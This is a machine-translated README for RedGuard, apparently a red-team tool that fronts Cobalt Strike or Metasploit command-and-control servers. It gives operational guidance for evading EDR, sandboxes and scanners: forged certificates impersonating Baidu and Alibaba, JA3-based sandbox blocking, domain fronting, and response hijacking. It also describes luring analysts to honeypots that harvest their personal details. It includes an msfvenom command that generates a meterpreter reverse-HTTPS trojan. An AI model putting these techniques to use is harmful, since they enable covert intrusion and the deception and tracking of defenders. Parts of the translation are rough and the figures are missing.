RedGuard
RedGuard 24.06.18
英語 | 中文档
RedGuard は、コマンド アンド コントロール (C2) フロント フロー制御テクノロジに基づいた派生ツールであり、軽量な設計、効率的なトラフィック インタラクション、および Go プログラミング言語での開発との信頼できる互換性を備えています。サイバー攻撃は絶えず進化しているため、レッド チームとブルー チームは演習は徐々に複雑になるため、RedGuard はレッド チームに優れた C2 チャネル隠蔽ソリューションを提供するように設計されており、C2 チャネルのフロー制御を提供し、「悪意のある」分析トラフィックをブロックし、攻撃タスク全体をより適切に完了します。
RedGuard は、Blue Team、AVS、EDR、Cyberspace Search Engine の検出を回避できる C2 フロント フロー制御ツールです。
コンパイルされたバージョンを直接ダウンロードして使用することも、独立したコンパイルと実行のために go パッケージをリモートでダウンロードすることもできます。
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
以下の図に示すように、実行権限を設定し、RedGuard を初期化します。最初の実行では、柔軟な機能構成を実現するために、現在のユーザーのホーム ディレクトリに構成ファイルが生成されます。設定ファイル名: .RedGuard_CobaltStrike.ini 。
設定ファイルの内容:
cert の設定オプションは主に、サンプルと C2 フロント インフラストラクチャ間の SSL 証明書で暗号化された HTTPS 通信の設定情報用です。プロキシは主に、リバース プロキシ トラフィックの制御オプションを構成するために使用されます。具体的な使用方法については、以下で詳しく説明します。
SSL 証明書で暗号化された HTTPS 通信は、RedGuard が実行されるディレクトリ下の cert-rsa/ ディレクトリに生成されます。構成ファイルを変更することで、ツールの基本機能を開始および停止できます(証明書のシリアル番号はタイムスタンプに従って生成されます。この機能に関連付けられていることを心配する必要はありません) 。独自の証明書を使用したい場合は、 ,名前を ca.crt と ca.key に変更するだけです。
openssl x509 -in ca.crt -noout -text
ランダムな TLS JARM フィンガープリントは、C2 インフラストラクチャの認証に使用されるのを防ぐために、RedGuard が開始されるたびに更新されます。
独自の証明書を使用する場合は、構成ファイルの HasCert パラメータをtrueに変更して、JARM 難読化のランダム化によって引き起こされる CipherSuites 暗号化スイートとカスタム証明書との非互換性によって引き起こされる通常の通信の問題を回避します。
# Whether to use the certificate you have applied for true/false
HasCert = falseC2 トラフィックを非表示にするためにドメイン フロントを展開する場合、デフォルトでは、高速化されたドメイン名に HTTPS 証明書情報が含まれません。これは明らかに問題があるため、ドメイン名を構成するときは証明書の構成に注意する必要があります。これは、サンプルがドメイン フロントエンド トラフィックであるかどうかを判断するためのデフォルトの基準でもあります。
[^Tencent Cloud]: コンテンツ配信ネットワーク証明書の構成
これを読んだ後、誰もがいくつかの疑問を抱くと思います。構成された証明書を取得するにはどうすればよいですか?独自のアプリケーションを証明書に使用した場合、期待される匿名性の効果は満たされません。ここで、複製された証明書を構成に使用できます。 Tencent Cloud を例に挙げると、アップロードされたカスタム証明書の有効性が検証されないことがテストで判明しました。アクセラレーションされたドメイン名の実際のサイトと同じ証明書を使用して、ドメイン名を偽造できます。通常の状況では、CS のデフォルト証明書を置き換える場合、偽造された証明書は通信できませんが、クラウド サービス プロバイダーの CDN フルサイト アクセラレーションおよび RedGuard に展開すると、その有効性が検証されず、C2 インタラクティブ トラフィックは正常に通信できます。
以下は Github 上の既存のプロジェクトのアドレスです
https://github.com/virusdefender/copy-certサンプル ドメインのフロントエンド トラフィック側の証明書は解決されましたが、大規模なネットワーク マッピングの観点から見ると、C2 サーバーは依然として外部に公開されており、引き続き検出され、実際の C2 サーバーに関連付けられる可能性があります。 。現時点では、RedGuard を使用して C2 の前面のデフォルト証明書を変更し、匿名性を実現できます。
[^インテリジェンス情報]: TLS 証明書
以上がC2サーバの証明書偽造による影響です。 Threatbook コミュニティのインテリジェンスでは、この情報が信頼でき、有効期限が切れていないことがわかります。デジタル証明書を取得する主な方法は、クラウド サンドボックスでのサンプル分析中にリアルタイムで抽出して更新することですが、明らかに効果的に検証されていません。ステータス値は有効期限を確認するだけです。証明書の信頼性検証は、通常の通信が達成できるかどうかのみに基づいて行う必要があります。
Threatbook インテリジェンスは、サンプル リクエストの SNI および HOST アドレスを証明書インテリジェンスでマークしないことに注意してください。これは実際には誤検知を防ぐためです。これは正しいと思います。研究者を支援する分析の重要な基盤である脅威インテリジェンスは、後の分析で判断を誤る原因となる間違った方向を示すよりは、不完全である方が望ましいと考えられます。フルサイト アクセラレーション用の証明書の構成が通信トラフィックの証明書を偽造することである場合、RedGuard C2 の応答前証明書の構成は、アンチマッピング効果を達成するためにパブリック ネットワーク上にデプロイされた実際の C2 サーバーの動作特性を偽造することになります。はとても必要です。
証明書のシリアル番号: 55e6acaed1f8a430f9a938c5を抽出し、HEX エンコードを実行して TLS 証明書のフィンガープリント: 26585094245224241434632730821を取得します。
| IP | ポート | プロトコル | サービス | 国 | 市 | タイトル | 時間 |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | アパッチ httpd | 中国 | 蘇州 | 百度图片-発行现多様世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | 中国 | 徐州 | 403 禁止 | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | 中国 | 徐州 | 403 禁止 | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | 中国 | 徐州 | 403 禁止 | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | 中国 | 405 許可されていません | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | 中国 | 徐州 | 403 禁止 | 2023-08-28 |
検索結果件数: 2291
サイバースペース マッピングを通じて 2,291 個の独立した IP アドレスが発見され、検証の結果、それらはすべて Baidu に属する TLS 証明書を持っていることが確認されました。通信量だけでは悪意のある通信であるかどうかを判断することは困難です。しかし、ドメイン フロントエンド + C2 フロントエンド トラフィック設備の TLS 証明書は偽造され、空間マッピングと脅威インテリジェンスに干渉し、誤った情報の関連付けを引き起こし、攻撃者のトラフィック特性をより現実的にし、正常な偽造の目的を達成しました。通信トラフィック。
C2 トラフィック フロントエンド機能の前に隠された転送処理がない場合でも、RedGuard の証明書を変更することをお勧めします。デフォルトでは、サイバースペース マッピングで現在使用されている共通コンポーネントのフィンガープリント識別によって形成されたフィンガープリント ライブラリは、識別のために共通コンポーネントのデフォルト構成特性の動作を使用します。これらのカスタマイズ プロセス中に、グループが異なれば、異なる固有の特性が示される場合があります。もちろん、フィンガープリントの形成には、ターゲットのデフォルトの特性を抽出して、関連するフィンガープリントを形成するために、ターゲット コンポーネントをある程度理解する必要があります。ここでは、RG 証明書の動作特性がサイバースペース マッピングに使用され、パブリック ネットワーク上に展開された多数の RG ノードに関連付けられます。
作成者がフィンガープリントを抽出できたのは驚くべきことではありませんが、それでも RedGuard ユーザーがデフォルトの証明書情報を変更し、プロのハッカーになることをお勧めします:)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS パラメータコマンドを使用して設定ファイルを変更できます。もちろん、vim を使って手動で修正したほうが便利だと思います。
リバース プロキシのポートに直接アクセスすると、インターセプト ルールがトリガーされます。ここでは、出力ログを通じてクライアント リクエストのルート ディレクトリを確認できますが、リクエストには正しい HOST リクエスト ヘッダーである要求された資格情報が含まれていないため、基本的なインターセプト ルールがトリガーされ、トラフィックは https:/ にリダイレクトされます。 /360.net
これは出力の単なるデモンストレーションであり、実際の使用はnohup ./RedGuard &を通じてバックグラウンドで実行できます。
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }上のスライスから、360.net はローカル ポート 8080 にプロキシされ、360.com はローカル ポート 4433 にプロキシされ、使用される HTTP プロトコルも異なることがわかります。実際に使用する場合は、リスナーのプロトコルの種類に注意する必要があります。ここの設定と一致し、対応する HOST リクエスト ヘッダーを設定します。
上図にあるように、不正アクセスの場合、取得する応答情報はリダイレクト先サイトの返信情報でもあります。
上記の基本的な傍受のケースでは、デフォルトの傍受方法が使用され、違法なトラフィックはリダイレクトによって傍受されます。構成ファイルを変更することで、インターセプト方法とリダイレクトされるサイト URL を変更できます。実際、これをリダイレクトと呼ぶよりも、返される応答ステータス コードが 200 であり、クローン/ハイジャックされた Web サイトを模倣するために別の Web サイトから応答が取得されるため、これをハイジャック、クローン作成と説明する方が適切だと思います。できるだけ近くに。
無効なパケットは、次の 3 つの戦略に従って誤ってルーティングされる可能性があります。
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net Redirect = 構成ファイル内の URLは、ハイジャックされた URL アドレスを指します。 RedGuard は「ホット変更」をサポートしています。これは、ツールがnohupを通じてバックグラウンドで実行されている間も、構成ファイルを変更できることを意味します。コンテンツはリアルタイムで開始および停止されます。
./RedGuard -u --drop trueコマンド ラインから構成ファイルを変更する場合は、 -uオプションを省略しないでください。省略すると、構成ファイルを正常に変更できません。デフォルトの構成ファイル設定を復元する必要がある場合は、 ./RedGuard -uと入力するだけです。
もう 1 つの傍受方法は DROP です。これは HTTP 通信応答を直接閉じ、 DROP = true を設定することで有効になります。具体的な妨害効果は次のとおりです。
C2 フロント フロー制御は、HTTP 応答コードを使用せずに、不正な要求に対する応答を直接閉じていることがわかります。サイバー空間マッピングの検出において、DROP メソッドはポートのオープンを隠すことができます。具体的な効果は以下の場合に現れます。分析する。
多くのユーザーが応答のハイジャックに興味があると思います。一般原則として、クライアントが実際の C2 サーバーへのリクエストを開始すると、受信ルールを満たしていないため、C2 サーバーは指定された通常のサイトを取得し、その応答情報を返します。そのため、エフェクトリクエスト側からはIPサービスとやりとりしているように見えますが、実際には中間のC2サーバーがプロキシサーバーとして通常のサイトとやりとりしているため、異常を発見することが困難になります。受信リクエストを満たす場合、トラフィック リクエストは対話のために実際の C2 サービス リスニング ポートに転送されます。実際のリスニング ポートはクラウド ファイアウォールによってフィルタリングされており、ローカル アクセスのみが許可されており、外部から直接アクセスすることはできません。 。したがって、外部ポートのオープンという観点から見ると、HTTP/S ポートのみがオープンされており、ある意味、これはまさに C2 のオンライン ポートです。
[^トラフィック フロー図]: C2 サーバーのトラフィック インタラクション プロセス
サイバースペース マッピング データでは、IP の HTTP/S オープン ポート応答コードは 307 ジャンプではなく 200 であり、より本物です。
HTTPS 証明書は上記の偽造証明書と同じ効果を持ち、どちらも本物の証明書のフィンガープリントです。
多くのレッドチームは、プロジェクトを戦う過程で、クラウド機能/ドメインフロンティングなどの隠蔽手法を広く使用すると思います。しかし、今日の攻防において、上記２つの隠蔽方法はC2サービスに直結してしまうという致命的な問題を抱えている。その結果、クラウド機能のアドレスまたはドメイン フロントの対話型 IP/ホストを把握すると、C2 リスニング サービスに直接アクセスし、それが攻撃施設であることを証明できることは間違いありません。
トラフィックは C2 に直接到達する可能性があるため、セキュリティ デバイスが SNI と HOST に一致しないトラフィックに対して CS スキャンを実行して、悪意のあるトラフィックかどうかを識別できるかどうかを検討する価値があります。クラウド機能やサンドボックス環境についても同様です。サンプル側に加えて、さらに多くのトラフィック レベルの分析プロセスが存在する場合もあります。
ハイジャック応答後、HTTP サービスへの直接アクセスは通常どおり Web サイトと対話できますが、トラフィックが実際の C2 リスナーに到達できないため、Cscan はサンプル情報をスキャンできません。通常の C2 インタラクションは、トラフィック開始の特性が満たされた場合にのみ可能です。ただし、問題があります。 C2 スキャン スクリプトは、ブルー チーム アナリストのコーディング能力に一定のテストを課す受信ルールに準拠する必要があります。現在公開されているスキャン スクリプトは Nmap の形式です。
JA3 は、クライアントとサーバー間の暗号化通信に、より認識しやすいフィンガープリントを提供します。 TLS フィンガープリントを使用して悪意のあるクライアントとサーバー間の TLS ネゴシエーションを識別し、それによって悪意のあるクライアントを関連付ける効果を実現します。このフィンガープリントは、MD5 暗号化を使用して任意のプラットフォームで簡単に生成でき、現在脅威インテリジェンスで広く使用されています。たとえば、いくつかのサンドボックスのサンプル分析レポートで、異なるサンプル間の相関関係を証明することができます。
C2 サーバーと悪意のあるクライアントの JA3(S) をマスターできれば、トラフィックが暗号化され、C2 サーバーの IP アドレスまたはドメイン名が不明な場合でも、悪意のあるクライアントと悪意のあるクライアント間の TLS ネゴシエーションを識別できます。 TLS フィンガープリントを通じてサーバーに送信します。これを見れば皆さんも思いつくかと思いますが、これはドメインフロンティングやリバースプロキシ、クラウド機能などのトラフィック転送隠蔽手法への対策でもあります。サンドボックス実行を通じてサンプル識別と C2 通信 TLS ネゴシエーションを行い、JA3(S) フィンガープリントを生成します。これを脅威インテリジェンスに適用して補助トレースを実現します。
この技術は2022年に発表しました。マイクロステップサンドボックス環境をテストしたところ、インタラクションを要求する出口IPの数は少ないものの、IPによるサンドボックスの識別は正確ではなく、簡単に変更できる機能であることがわかりました。 、しかし、その JA3 フィンガープリントは同じシステム環境内で一意でした。その後、サンドボックスによる指紋のランダム化が完了したというフィードバックを受け取りましたが、最近のテストでは完全に実装されていないことが判明しました。私は依然として交通面での指紋の問題に直面したいと考えています。
クラウド サンドボックスの観点からは、サンプルと C2 サーバー間のトラフィック インタラクションを監視することにより、JA3(S) フィンガープリントが生成され、悪意のあるクライアントを識別して関連付けが行われます。逆に考えると、C2 の前のトラフィック制御施設として、クライアント リクエストの JA3 フィンガープリントを取得するための操作を実行することもできます。さまざまなサンドボックス環境をデバッグすることにより、これらの JA3 フィンガープリントが取得されてフィンガープリント ライブラリが形成され、それによって基本的な傍受戦略が形成されます。
段階的なトロイの木馬の相互作用のプロセスで、ローダーが最初にリモート アドレスのシェルコードを取得すると想像してください。その後、リクエストが JA3 フィンガープリント ライブラリのクラウド サンドボックス特性を満たしていることがトラフィックによって識別されると、後続のリクエストがインターセプトされます。シェルコードを取得できない場合、読み込みプロセス全体を完了できず、当然サンドボックスはシェルコードを完全に解析できません。環境が段階のないトロイの木馬である場合、サンドボックス分析を最終的に C2 サーバーにアップロードすることもできません。誰もが眠りから目覚め、C2 に長年のサンドボックス レコードがぶら下がっているのを見つけたことがあると思います。もちろん、理想的な状態では、さまざまなサンドボックス環境を識別できますが、これは主にフィンガープリント ライブラリの信頼性に依存します。
テスト中に、ZoomEye GO 言語リクエスト ライブラリの JA3 フィンガープリントをフィンガープリント ライブラリに追加し、RG リクエスト トラフィックを監視した後、ほとんどのリクエストが JA3 フィンガープリント ライブラリ機能の基本的なインターセプトをトリガーしたことがわかりました。ここで、測量および地図作成製品の基礎となる言語は、GO 言語で実装されたスキャン タスクの一部であると推測します。リンクを通じて、さまざまな基礎言語で構成されるスキャン ロジックが最終的にスキャン タスク全体を完了しました。これは、一部の測量および地図製品のスキャンによって GO 言語リクエスト ライブラリの JA3 フィンガープリント インターセプト機能がトリガーされた理由も説明します。認識ルールの原理は、クラウド サンドボックス フィンガープリントの原理と同じです。どちらも、リクエスト クライアント環境とリクエスト ライブラリの一意性を使用します。 PC側とは異なり、これらの製品のリクエスト環境は基本的に任意に変更されないため、トラフィック側のフィンガープリントの把握や傍受も可能となるため、セキュリティデバイスがアクティブ検出のJA3フィンガープリントを使用できるかどうかを検討できますか?トラフィックを傍受の根拠とするのか?もちろん、ビジネス トラフィックが多い場合には、ある程度の誤報が発生する可能性があります。ここでは、理論的に実現可能な製品要件のみを提案します。
PS ユーザーは、サンプルをサンドボックスにアップロードして JA3 フィンガープリントを取得および検証し、フィンガープリント ライブラリに追加することもできます。サンドボックスが JA3 フィンガープリントを上記のフィンガープリントに変更するだけでは意味がないことに注意してください。本当に解決する必要があるのは、サンドボックスが動的分析を実行するたびに、それが同じフィンガープリントではなくなり、その変更ができるだけ繰り返さないという要件を満たす必要があるということです。繰り返し率が高い場合でも、指紋として使用されます。
現在、効果デモンストレーションとして脅威ブック クラウド サンドボックスの識別と傍受をサポートしています
構成ファイル内の次の 2 つのパラメーターを構成すると、リバース プロキシ ポートの変更の効果が実現されます。現在のサーバー ポートと競合しない限り、デフォルトのポート非表示を使用することをお勧めします。変更する必要がある場合は、パラメータ値の:が欠落していないか注意してください。
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80青色のチーム トレース動作は、ターゲット リクエストのインターセプト ログを通じて分析され、ピア接続のイベント/問題を追跡するために使用できます。ログ ファイルは、RedGuard が実行されているディレクトリに生成されます(ファイル名: RedGuard.log) 。
このセクションでは、リクエストの実 IP アドレスを取得するように RG を設定する方法について説明します。次の設定を C2 デバイスのプロファイルに追加するだけで済みます。ターゲットの実際の IP アドレスは、リクエスト ヘッダー X-Forwarded-For を通じて取得されます。
http-config {
set trust_x_forwarded_for " true " ;
}設定方法ではAllowLocation = Jinan, Beijing例に挙げます。 RedGuard は、逆 IP アトリビューション用に 2 つの API を提供していることに注意してください。1 つは中国本土のユーザー用、もう 1 つは中国本土以外のユーザー用で、ターゲットが中国の場合、入力された地理的ドメイン名に応じてどの API を使用するかを動的に割り当てることができます。設定された地域には中国語を使用し、それ以外の場合は英語の地名を使用します。中国本土のユーザーは、帰属の正確さと逆クエリによって得られる API の応答速度を考慮して、中国語の名前を使用することをお勧めします。
PS 中国本土のユーザーは、 AllowLocation = Jinan,beijing をこのように使用しないでください。あまり意味はありません。パラメーター値の最初の文字によって、使用する API が決まります。
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
リージョンを制限することを決定する前に、次のコマンドを使用して IP アドレスを手動で照会できます。
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryここでは、山東地域のみがオンラインになるように設定します。
法定交通:
不正リクエストエリア：
地理的制限のつながりについては、現在の攻防演習ではより現実的かもしれない。基本的に、州や市の攻撃・防御訓練制限の対象は指定地域内であり、それ以外の地域から要請された交通は当然無視できる。 RedGuardのこの機能は、単一の地域を制限するだけでなく、州や都市に応じて複数の接続地域を制限し、他の地域から要求されたトラフィックを傍受することもできます。
RedGuard に組み込まれたサイバーセキュリティ ベンダーの IP ブラックリストに加えて、ホワイトリスト方式に従って制限することもできます。実際、Web 侵入中にホワイトリストに従ってオンライン IP アドレスを制限し、IP アドレスを複数の方法に分割することも提案します。
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
上の図に示すように、127.0.0.1 接続のみを許可するように制限すると、他の IP のリクエスト トラフィックはブロックされます。
この機能はもっと面白いです。構成ファイルに次のパラメータ値を設定すると、トラフィック制御機能は午前 8 時から午後 9 時までしか接続できないことになります。ここでの具体的なアプリケーション シナリオは、指定された攻撃時間中は C2 との通信を許可し、それ以外の時間は沈黙を保つというものです。これにより、赤チームは夜勤の青チームがトロイの木馬の分析に退屈して、目が覚めると言葉では言い表せない何かに気づくという心配をすることなく、ぐっすり眠ることができます。
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard は Malleable C2 プロファイルを使用します。提供された拡張可能な構成ファイルのセクションを解析してコントラクトを理解し、他のリクエストを誤解させずに、それを満たす受信リクエストのみを渡します。 http-stager 、 http-get 、 http-postなどの部分と、それらに対応する URI、ヘッダー、ユーザー エージェントなどは、合法的なビーコン リクエストと、無関係なインターネット ノイズや IR/AV/EDR 境界外パケットとを区別するために使用されます。
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
风起によって作成されたプロファイルの使用をお勧めします。
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
Cobalt Strike 4.7 以降では、Teamserver は通知なしに Content-Encoding ヘッダーを自動的に削除するため、可鍛性のある http-(get|post).server 違反が発生する可能性があります。さらに、CS サーバーの応答メッセージに Content-type がない場合でも、RedGuard によって転送された後、Content-Type が応答メッセージのヘッダーに追加され、cf がページをキャッシュし、干渉が発生します。
RedGuard 23.08.21以降、応答パケットのヘッダーをカスタマイズする機能が追加されました。ユーザーは構成ファイルを変更することで、応答パケットのヘッダー情報をカスタマイズおよび削除して、不正な解析の問題を解決できます。
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13 は、トロイの木馬サンプルの指紋認識機能を更新しました。これは、同じC2 リスナー/ヘッダー ホストを一意に識別するための、Malleable Profile の HTTP ヘッダー フィールドをフィンガープリント「サンプル ソルト値」としてカスタマイズすることに基づいています。さらに、他の関連リクエスト フィールドを組み合わせて生成されたトロイの木馬サンプルのフィンガープリントを使用して、カスタム サンプルの活性度を検出できます。攻撃者のタスク要件に応じて、トロイの木馬サンプルの指紋認識機能は、無効にしたいサンプルに対して「オフライン操作」を実行して、サンプル通信の悪意のあるトラフィック分析や段階的なサンプル PAYLOAD 攻撃ペイロード取得分析をより適切に回避し、より多くの機能を提供します。攻撃者に合わせたパーソナライズされたステルス対策。
異なる C2 リスナーに対して、Malleable Profile 設定に異なるエイリアスを与え、関連するヘッダーのフィールド名と値をサンプル ソルト値としてカスタマイズし、それを異なるサンプル間の区別の 1 つとして使用できます。次のコードは説明を目的としたものであり、実際の攻撃および防御のシナリオでは、より現実的な HTTP リクエスト パケット フィールドを判断の基礎として使用できます。
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}HTTPトラフィック
図に示すように、フィンガープリント生成の基礎として、上記のサンプルのソルト値とホスト フィールドを使用します。ここで次のことがわかります。
上記の値を結合すると、サンプル フィンガープリントが次のように取得されます。
22e6db08c5ef1889d64103a290ac145c上記のサンプル フィンガープリントがわかったので、悪意のあるトラフィックを傍受するために、RedGuard 構成ファイルにカスタム ヘッダー フィールドとサンプル フィンガープリントを設定できます。カンマで区切って複数のサンプル フィンガープリントを拡張できることに注意してください。また、FieldName は、展性プロファイルで設定されているヘッダー フィールド名と一致している必要があります。
RedGuard の構成ファイルはホット構成であるため、無効にするサンプルをインターセプトするために RedGuard を再起動する必要はありません。サンプルを再アクティブ化したい場合は、関連するサンプルのフィンガープリントを RedGuard 構成ファイルから削除するだけです。
デモンストレーション効果:
上記の方法に問題がある場合、リバース プロキシにおける実際の負荷分散要求はクラウド サーバー メーカーの IP によって行われるため、実際のオンライン C2 サーバーはファイアウォールによって直接インターセプトされません。
一騎打ちでは、クラウドサーバーのファイアウォールに傍受ルールを設定できます。
次に、プロキシが指すアドレスを https://127.0.0.1:4433 に設定します。
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }また、基本的な検証は HTTP HOST リクエスト ヘッダーに基づいているため、HTTP トラフィックに表示される内容もドメイン フロント方式と同じですが、コストが低くなり、必要なクラウド サーバーは 1 つだけです。
リスナー設定では、 HTTPS Port (C2)が RedGuard リバース プロキシ ポートに設定され、 HTTPS Port (Bind)がローカル マシンの実際の接続ポートになります。
トロイの木馬を生成する
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~ /path/to/payload.exeもちろん、ドメイン フロント シナリオとして、メーカーの CDN のドメイン名を使用するように LHOST を構成し、HttpHostHeader が RedGuard と一致するように設定することに注意することもできます。
setg OverrideLHOST 360.com
setg OverrideLPORT 443
setg OverrideRequestHost true OverrideRequestHost設定をtrueに設定する必要があることに注意することが重要です。これは、Metasploit がステージング ペイロードの構成を生成するときにデフォルトで受信 HTTP/S リクエストを処理する方法の機能によるものです。デフォルトでは、Metasploit は、 LHOSTパラメーターの代わりに、受信リクエストのHostヘッダー値 (存在する場合) を第 2 段階の構成に使用します。したがって、CloudFront は転送されたリクエストのHostヘッダーで内部ドメインを渡すため、ビルドステージはリクエストを非表示のドメイン名に直接送信するように設定されています。これは明らかに私たちが求めているものではありません。 OverrideRequestHost設定値を使用すると、Metasploit に受信Hostヘッダーを無視させ、代わりに元の CloudFront ドメインを指すLHOST設定値を使用させることができます。
リスナーは、RedGuard が実際に転送するアドレスと一致する実際の回線ポートに設定されます。
RedGuard は次のリクエストを受け取りました。
以下の図に示すように、インターセプト ルールが DROP に設定されている場合、空間マッピング システム プローブはリバース プロキシ ポートの / ディレクトリを数回プローブします。理論的には、マッピングによって送信された要求パケットは、図に示すように通常のトラフィックとして偽装されます。しかし、何度か試みた後、リクエスト パケットの署名が RedGuard のリリース要件を満たしていないため、すべて Close HTTP によって応答されます。測量および地図作成プラットフォームに表示される最終的な影響は、リバース プロキシ ポートが開いていないことです。
以下の図に示されているトラフィックは、インターセプト ルールがリダイレクトに設定されている場合、マッピング プローブが応答を受信するとディレクトリのスキャンを継続することを意味します。ユーザー エージェントはランダムであり、通常のトラフィック リクエストと一致しているように見えますが、両方とも正常にブロックされました。
マッピング プラットフォーム - ハイジャック応答インターセプト モードの効果:
測量および地図作成プラットフォーム - リダイレクトのインターセプトの影響:
RedGuard はドメインフロンティングをサポートしています。私の考えでは、プレゼンテーションには 2 つの形式があると考えています。 1 つは、従来のドメイン フロント方式を使用する方法です。これは、サイト全体のアクセラレーションのバックトゥオリジン アドレスにリバース プロキシのポートを設定することで実現できます。当初、トラフィックコントロールの機能がドメインフロングに追加され、よりリアルに見えるように設定した設定に従って指定されたURLにリダイレクトできます。 HTTPSホストヘッダーのレッドガード設定は、サイト全体の加速のドメイン名と一致する必要があることに注意してください。
単一の戦闘では、上記の方法を使用できることをお勧めします。チームタスクでは、自己構築された「ドメインフローティング」によっても実現できます。
自己構築されたドメインフロングでは、複数の逆プロキシポートを一貫して保持し、ホストヘッダーはバックエンドの実際のC2サーバーリスニングポートを一貫して指します。このようにして、実際のC2サーバーはよく隠されている可能性があり、リバースプロキシのサーバーはファイアウォールを構成することによってプロキシポートを開くことのみができます。
これは、複数のノードサーバーを介して実現でき、CSリスナーHTTPSオンラインIPでノードの複数のIPを構成できます。
悪意のあるハニーポットトラッピングの原則は、主にRGトラフィックガイダンスのハイジャック応答またはリダイレクト機能に依存しています。これは、ハニーポットサンドボックスの住所にC2施設を評価しているアナリストをガイドします。ハイジャックの応答状態では、RGはハニーポット資産へのインバウンドルールを満たさないトラフィックを要求します。より強力なハニーポット（オペレーターの携帯電話番号をキャプチャするものなど）に遭遇すると、クライアントはターゲットサイトの応答に従ってリクエストを開始し、関連情報を取得するためにJSONPによってハイジャックされます。
アナリストがC2オンラインポートに直接アクセスすると、ハニーポット資産に向けられると想像してください。アナリストは悪意を持ってHoneypotアセットを要求するように指示されており、Honeypot Monitoring EndはBlueチームアナリストの関連情報をキャプチャし、エラーを追跡します。分析ターゲットが最初から間違っている場合、どのようにして良い結果を得ることができますか？これは間違いなく防衛チームに深刻な内部摩擦を引き起こすでしょう。
これは、ハニーポット資産に関連するZoomeyeの指紋のセットです。
(iconhash: " 9fd6f0e56f12adfc2a4da2f6002fea7a " (title: "然之协同" + " iframe " + " >v.ignoreNotice " )) ( " /static/js/2.ca599e2d.chunk.js?t= " +title: " OA办公系统" ) ( " data.sloss.xyz/get_code.js?access " ) ( " /monitordevinfo/common.js " ) (app: " honeyport " +country:china +after: " 2022-08-22 " )
この効果を達成する方法は非常に簡単です。RG構成ファイルの関連するキー値を変更するだけです。
# RedGuard interception action: redirect / reset / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://market.baidu.comPS私は誰もが説明なしでそれを構成する方法を知っていると信じています:)
この方法は一種のunningなトリックであり、アイデアにもっと反映されています。さらに利用すると、ハニーポットキャプチャ機能をC2フロントエンドトラフィックコントロール施設に展開でき、インタラクティブトラフィックを指示できます。効果は、クライアントのブラウザキャッシュデータが従来のハニーポットのように取得できることです。しかし、私は個人的には、公共版では、現在の攻撃と防衛の対立にそれを適用することは意味がないかもしれないと感じています。攻撃者がブルーチームアナリストのソーシャル情報をキャプチャして、それを追跡することは無意味です。もちろん、一歩後退すると、C2サンプルの分析がより危険になる可能性があります。黒人および灰色の産業の攻撃者がアナリストの仮想アイデンティティを取得できる場合、仮想および実際のアイデンティティを変換できる場合、それはまだ比較的危険です。ですから、将来の研究と分析はより慎重で警戒すべきだと思います。
攻撃と防衛の対立シナリオでは、ほとんどのユニットネットワークは依然として国境ベースの防御です。ここでは、DMZエリアの外部サーバーが通常のビジネス環境で関連するアクセスポリシーで構成されることが多いシナリオを検討します。この時点で、エッジの外部サーバーがネットワークにアクセスできますが、イントラネットホストに直接アクセスできない場合、イントラネットのPCまたは関連サーバーはパブリックネットワークに直接アクセスしませんが、DMZエリアのビジネスサーバーにアクセスできます。次に、エッジノードのホストをRGノードとして使用して、イントラネットオンライントラフィックをC2施設に転送できます。オンラインで従来のプロキシ転送に非常に似ているように聞こえますか？ただし、これは単なるスキル実装の表示の形式です。さらに多くのヒントを見てみましょう。
